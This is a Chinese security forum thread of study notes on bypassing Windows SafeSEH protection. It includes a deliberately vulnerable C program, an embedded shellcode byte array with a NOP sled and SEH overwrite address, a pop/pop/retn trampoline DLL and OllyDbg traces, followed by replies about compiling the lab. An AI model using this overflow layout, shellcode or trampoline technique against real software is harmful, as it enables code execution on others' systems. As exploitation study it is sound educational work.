首页
社区
课程
招聘
[原创]SafeSeh突破的读书笔记
2013-1-9 17:39 6894

[原创]SafeSeh突破的读书笔记

2013-1-9 17:39
6894
在学习GS 和SafeSeh突破的过程中遇到不少困难(多数因为基础不扎实吧),但在解决问题的过程中思考能力也锻炼了不少!发三篇读书笔记分享一下(第一篇比较简单就不详写实验过程了)
笔记1:SafeSeh突破①
利用堆溢出突破:
其实也算不上突破了,只不过是钻了空子 因为SafeSeh只会检测Seh Handler在不在栈里面而没检查在不在堆里面
所以这个有漏洞的程序首先需要有一个栈溢出的机会,像平常一样把Handler的数据覆盖,不过这次是覆盖成shellcode在堆中的地址(如果程序有用堆接收了一段我们的shellcode的话)
也就是说需要程序在栈中和堆中同时接收我们的shellcode。。
其实看了这么多突破安全机制的办法,还是以局限性换成功几率啊!
所以人家在明我们在暗,还是一直被打压,从未能超越啊。。。
想起学免杀时那句 "道高一尺 魔高一丈,hacker们总能想到好办法对付杀毒软件"(类似这样的话吧),还真是贻笑大方了。
彻底消灭0day是不可能了,但是0dayer的日子也同样不好过啊
(请原谅我厚脸皮地造了0dayer这个单词!!)

笔记2:SafeSeh突破②(又过一道坎!)
在SafeSeh中添加了检测Seh Handler这一项检测(其中一个),使得不能直接将shellcode放在栈里,于是就要:(大概思路)
①:用指令 pop eax pop eax retn(指令在某个不启用safeseh的模块)所在的地址覆盖SEH handler
②:触发一个异常之后,转到pop/pop retn处,在rent执行的时候转到shellcode

有漏洞的程序程序
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x12\x10\x12\x11"//addrSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;

DWORD MyException(void)
{
printf("There is an exception");
getchar();
return 1;
}
void test(char * input)
{
char str[200];
strcpy(str,input);
    int zero=0;
__try
{
   zero=1/zero;
}
__except(MyException())
{
}
}
int _tmain(int argc, _TCHAR* argv[])
{
HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
char str[200];
__asm int 3
test(shellcode);
return 0;
}

未启用SafeSeh模块的程序:
// SEH_NoSafeSEH_JUMP.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"
BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    return TRUE;
}
void jump()
{
__asm{
pop eax
pop eax
retn
}
}

打开有漏洞的程序,在int 3处中断时用OD载入
00401127      CC            int3
00401128  |.  68 18304000   push    00403018
0040112D  |.  E8 EEFEFFFF   call    00401020
进入第一个call:
00401020   $  55            push    ebp
00401021   .  8BEC          mov     ebp, esp
00401023   .  6A FE         push    -2
00401025   .  68 98224000   push    00402298
0040102A   .  68 15184000   push    00401815
0040102F   .  64:A1 0000000>mov     eax, dword ptr fs:[0]
00401035   .  50            push    eax
00401036   .  81C4 18FFFFFF add     esp, -0E8
0040103C   .  A1 00304000   mov     eax, dword ptr [403000]
00401041   .  3145 F8       xor     dword ptr [ebp-8], eax
00401044   .  33C5          xor     eax, ebp
00401046   .  8945 E0       mov     dword ptr [ebp-20], eax
00401049   .  53            push    ebx
0040104A   .  56            push    esi
0040104B   .  57            push    edi
0040104C   .  50            push    eax
0040104D   .  8D45 F0       lea     eax, dword ptr [ebp-10]
00401050   .  64:A3 0000000>mov     dword ptr fs:[0], eax
00401056   .  8965 E8       mov     dword ptr [ebp-18], esp
00401059   .  8B45 08       mov     eax, dword ptr [ebp+8]
0040105C   .  8985 14FFFFFF mov     dword ptr [ebp-EC], eax
00401062   .  8D8D 18FFFFFF lea     ecx, dword ptr [ebp-E8]
00401068   .  898D 10FFFFFF mov     dword ptr [ebp-F0], ecx
0040106E   .  8B95 10FFFFFF mov     edx, dword ptr [ebp-F0]
00401074   .  8995 0CFFFFFF mov     dword ptr [ebp-F4], edx
0040107A   >  8B85 14FFFFFF mov     eax, dword ptr [ebp-EC]
00401080   .  8A08          mov     cl, byte ptr [eax]
00401082   .  888D 0BFFFFFF mov     byte ptr [ebp-F5], cl
00401088   .  8B95 10FFFFFF mov     edx, dword ptr [ebp-F0]
0040108E   .  8A85 0BFFFFFF mov     al, byte ptr [ebp-F5]
00401094   .  8802          mov     byte ptr [edx], al
00401096   .  8B8D 14FFFFFF mov     ecx, dword ptr [ebp-EC]
0040109C   .  83C1 01       add     ecx, 1
0040109F   .  898D 14FFFFFF mov     dword ptr [ebp-EC], ecx
004010A5   .  8B95 10FFFFFF mov     edx, dword ptr [ebp-F0]
004010AB   .  83C2 01       add     edx, 1
004010AE   .  8995 10FFFFFF mov     dword ptr [ebp-F0], edx
004010B4   .  80BD 0BFFFFFF>cmp     byte ptr [ebp-F5], 0
004010BB   .^ 75 BD         jnz     short 0040107A
004010BD   .  C745 E4 00000>mov     dword ptr [ebp-1C], 0
004010C4   .  C745 FC 00000>mov     dword ptr [ebp-4], 0
004010CB   .  B8 01000000   mov     eax, 1
004010D0   .  99            cdq
004010D1   .  F77D E4       idiv    dword ptr [ebp-1C]
004010D4   .  8945 E4       mov     dword ptr [ebp-1C], eax
004010D7   .  C745 FC FEFFF>mov     dword ptr [ebp-4], -2
004010DE   .  EB 10         jmp     short 004010F0
004010E0   .  E8 1BFFFFFF   call    00401000
004010E5   .  C3            retn
可以看出那一大段mov指令就是strcpy,执行完之后就把shellcode拷贝完了,然后有个idiv可以触发异常,触发异常之后进入ntdll的代码如下:
7C92E480    8B1C24          mov     ebx, dword ptr [esp]
7C92E483    51              push    ecx
7C92E484    53              push    ebx
7C92E485    E8 FDBF0100     call    7C94A487
7C92E48A    0AC0            or      al, al
7C92E48C    74 0C           je      short 7C92E49A
7C92E48E    5B              pop     ebx
7C92E48F    59              pop     ecx
7C92E490    6A 00           push    0
7C92E492    51              push    ecx
7C92E493    E8 C6EBFFFF     call    ZwContinue
7C92E498    EB 0B           jmp     short 7C92E4A5
7C92E49A    5B              pop     ebx
…………………………………………(太多就不列了)
之后的操作就是遵循一个原则,只要执行到一个call使得shellcode得以执行就记住这个call,然后再载入程序单步进这个call
如此下去你会来到这样一块区域
11121012  |.  58            pop     eax                              ;  ntdll.7C9232A8
11121013  |.  58            pop     eax
11121014  \.  C3            retn
这个是我们在dll里面的放的跳板,在retn执行完之后就会跳到shellcode的地方了!
但是我开始的时候不知道为什么会这样。然后想起retn是跳转到栈顶的返回地址,在此前pop了两次相当于add esp,4 使得现在esp指向的地址为:0013F9D8  这个地址放的内容是0013FE90(到这个地址一看,正是shellcode的位置)
这个地址放着shellcode的地址肯定是有理由的(废话,也是重点!)
所以我便重新载入程序就盯着0013F9D8这个地址看,看是哪条该死的指令把这个地址的内容改成了0013FE90
然后我找到了,是从令一个堆栈地址A上面的内容mov过来的,但是这样还是不能让我明白0013FE90 是从哪里产生的,他怎么知道我的shellcode就放在那个位置?于是我还是用上面的方法,盯着堆栈地址A看是谁改动了他,经过几次这样的过程最终找到了是一个位于地址
7C94A4B6的一个call产生了这个地址(本来我挺不想进这个call看的,因为想着这可是微软写的函数啊,怎么可能短得,简单得让我这种小菜逆向出来他的意思)
结果我还是call进去看了一下,所有指令就这么两条:
7C9233F8    64:A1 00000000  mov     eax, dword ptr fs:[0]
7C9233FE    C3              retn
上网查了查, fs:[0]指向的是Seh chain的一条(栈里面最近的那条)
而我们的shellcode也刚好是在 这个Seh的地方,所以程序就这样被我们骗到shellcode去执行了。
(其实在这一篇笔记中对pop pop retn跳板能跳到shellcode也不是理解得很透,到第三篇笔记写完就完全理解了)

Seh突破③(这个很简单了,利用map文件中的跳板)

这个大概原理跟前面也一样,就是跳板换成了 call/jmp dword ptr[esp+X]的形式(还有是搜map映射文件而不是加载的模块)
在这次突破中面临两个问题
① 为什么 call/jmp dword ptr[esp+X]就能跳到shellcode
首先,我引用书中的一部分内容,原文是这样说的:
经过前辈们的不懈努力找到了一批可以用在这种情况下的跳板地址。除了我们前面用过的pop pop retn指令序列以外,还有如下地址:
call/jmp dword ptr[esp+0x8]
call/jmp dword ptr[esp+0x14]
call/jmp dword ptr[esp+0x1c]
call/jmp dword ptr[esp+0x30]
……………………等等
我在自己实验的时候是找到了call/jmpp dword ptr[esp+0x30] 这个跳板,我很奇怪为什么这个指令就是能跳到shellcode的地方(也就是seh chain的地方)
然后我来到跳转到跳板之前的一个call的地方:
………………上面太多就不复制了
7C923290    64:8925 0000000>mov     dword ptr fs:[0], esp
7C923297    FF75 14         push    dword ptr [ebp+14]
7C92329A    FF75 10         push    dword ptr [ebp+10]
7C92329D    FF75 0C         push    dword ptr [ebp+C]
7C9232A0    FF75 08         push    dword ptr [ebp+8]
7C9232A3    8B4D 18         mov     ecx, dword ptr [ebp+18]
7C9232A6    FFD1            call    ecx
7C9232A8    64:8B25 0000000>mov     esp, dword ptr fs:[0]
在这个地方的call ecx,是跳到跳板的位置的(tips:这个call里面隐含着一句push retn地址,你懂的)
我把call ecx nop掉,改成上面前辈提供的跳板:call dword ptr[esp+0x1c] ,然后看到OD的注释窗口写着
堆栈 ss:[0012FAC0]=0012FB70
于是我来到 0012FAC0处,发现这个地址上面的四个字节存放的就是Seh chain里面最近的一个Seh的地址,所以说如果我们的跳板放在call ecx里面的话,就会刚好指向seh地址了
原来前辈们就是这样找到跳板的啊!!!!!

② 如果跳板的地址包含截断字符(例如NULL)怎么办呢?
这个情况就不能把终于代码放在seh的后面了,因为不然的话复制完跳板的地址就把shellcode给扼杀了。
我们可以把shellcode主要代码放到前面,然后在Seh的位置放一个小跳转跳到上面的一个大跳转,再从大跳转跳到shellcode(因为小跳转不可能一下子跳那么远,要在Seh放大跳转的话又不够位置!)

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞0
打赏
分享
最新回复 (6)
雪    币: 62
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
南宫世家 2013-1-9 22:57
2
0
收下,明天看看再发见解
雪    币: 62
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
南宫世家 2013-1-10 14:55
3
0
DLL代码,需VC6.0编译:
// SEH_NoSafeSEH_JUMP.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"
BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    return TRUE;
}
void jump()
{
__asm{
        pop eax
        pop eax
        retn
        }
}
上传的附件:
雪    币: 306
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
baohongyu 2013-1-10 15:33
4
0
给优化掉了。没引用啊
雪    币: 45
活跃值: (55)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
shenger 2013-1-10 16:13
5
0
不会吧,我觉得你应该是找错地方了吧,你顺着程序走一遍,走到pop pop retn的地方试试啊
雪    币: 62
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
南宫世家 2013-1-10 16:49
6
0
但不知道 vc++6.0中什么地方设置优化的选项,还是没有?

顺便说下:
我用debug生成的话,是存在 5858C3 的。这时候要把 /base:"0x11120000" 去掉,不然编译出错。
雪    币: 62
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
南宫世家 2013-1-10 17:39
7
0
11.7 利用Adobe Flash Player ActiveX控件绕过SafeSEH
找不到在哪儿添加下面的代码(P306):
void CvulnerAXCtrl::test(LPCTSTR str)
{
        print("aaaa");
        char dest[100];
        sprintf(dest,"%s",str);
}

知道的麻烦告下。

解决:在 VvulnerAX_SEHCtrl.cpp里面定义,最下面直接添加这段代码即可。  
游客
登录 | 注册 方可回帖
返回